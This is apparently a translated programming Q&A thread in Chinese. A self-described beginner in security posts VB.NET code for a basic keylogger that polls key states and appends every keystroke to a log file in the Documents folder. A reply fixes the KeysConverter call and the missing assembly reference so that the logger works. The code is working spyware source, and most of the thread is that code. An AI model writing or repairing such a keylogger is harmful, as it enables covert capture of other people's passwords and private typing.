代码之家  ›  专栏  ›  技术社区  ›  Beginner

无法在键盘记录器程序中使用键盘转换器

  •  0
  • Beginner  · 技术社区  · 6 年前

    我试图创建一个基本的键盘记录程序。我对网络安全感兴趣,想了解更多。我已经从不同的来源把下面的代码散列在一起。 行text=converter.tostring(i)生成索引越界错误。 我想这是因为对象转换器没有按照它应该的方式被实例化??但是怎么解决呢?

    Imports System.IO
    Imports System.Text
    Imports System.Windows.Forms
    Imports System.Runtime.InteropServices
    Imports System.Threading
    
    Module Module1
         Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
    Sub Main()
        Dim filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
        filepath &= "\LogsFolder\"
    
        If (Not Directory.Exists(filepath)) Then
            Directory.CreateDirectory(filepath)
        End If
    
        Dim Path = (filepath & "LoggedKeys.text")
    
        If Not File.Exists(Path) Then
            Using sw As StreamWriter = File.CreateText(Path)
            End Using
        End If
    
        Dim Converter = New KeysConverter()
        Dim text As String = ""
    
        While (True)
            Thread.Sleep(5)
            For i As Integer = 0 To 1999
                Dim key = GetAsyncKeyState(i)
                If key = 1 Or key = -32767 Then
                    text = converter.ToString(i)
                    Using sw As StreamWriter = File.AppendText(Path)
                        sw.WriteLine(text)
                    End Using
                    Exit For
                End If
            Next
        End While
    
    End Sub
    
    End Module
    
    1 回复  |  直到 6 年前
        1
  •  3
  •   Ahmed Abdelhameed    6 年前

    看起来你在找 ConvertToString 方法。

    替换以下行:

    text = converter.ToString(i)
    

    用:

    text = converter.ConvertToString(i)
    

    编辑以在评论中解决您的问题:

    我得到一个语法错误,'converttostring'不是keysconverter的成员…听起来我的实例化没有工作。

    将鼠标光标悬停在 Converter 变量并仔细检查其类型。确保 KeysConverter 实际上是 这个 System.Windows.Forms.KeysConverter 类而不是某种本地生成的类。

    myimports system.windows.forms语句是幻影,表明它从未使用过。

    我就是这么想的。您似乎在控制台应用程序中,并且正在访问 System.Windows.Forms 命名空间 哪个是 包含在控制台应用程序中 . 您需要添加对system.windows.forms.dll的引用,如中所述 this answer .

    另外,确保从项目中找到并删除生成的keysconverter类,以避免冲突。

    推荐文章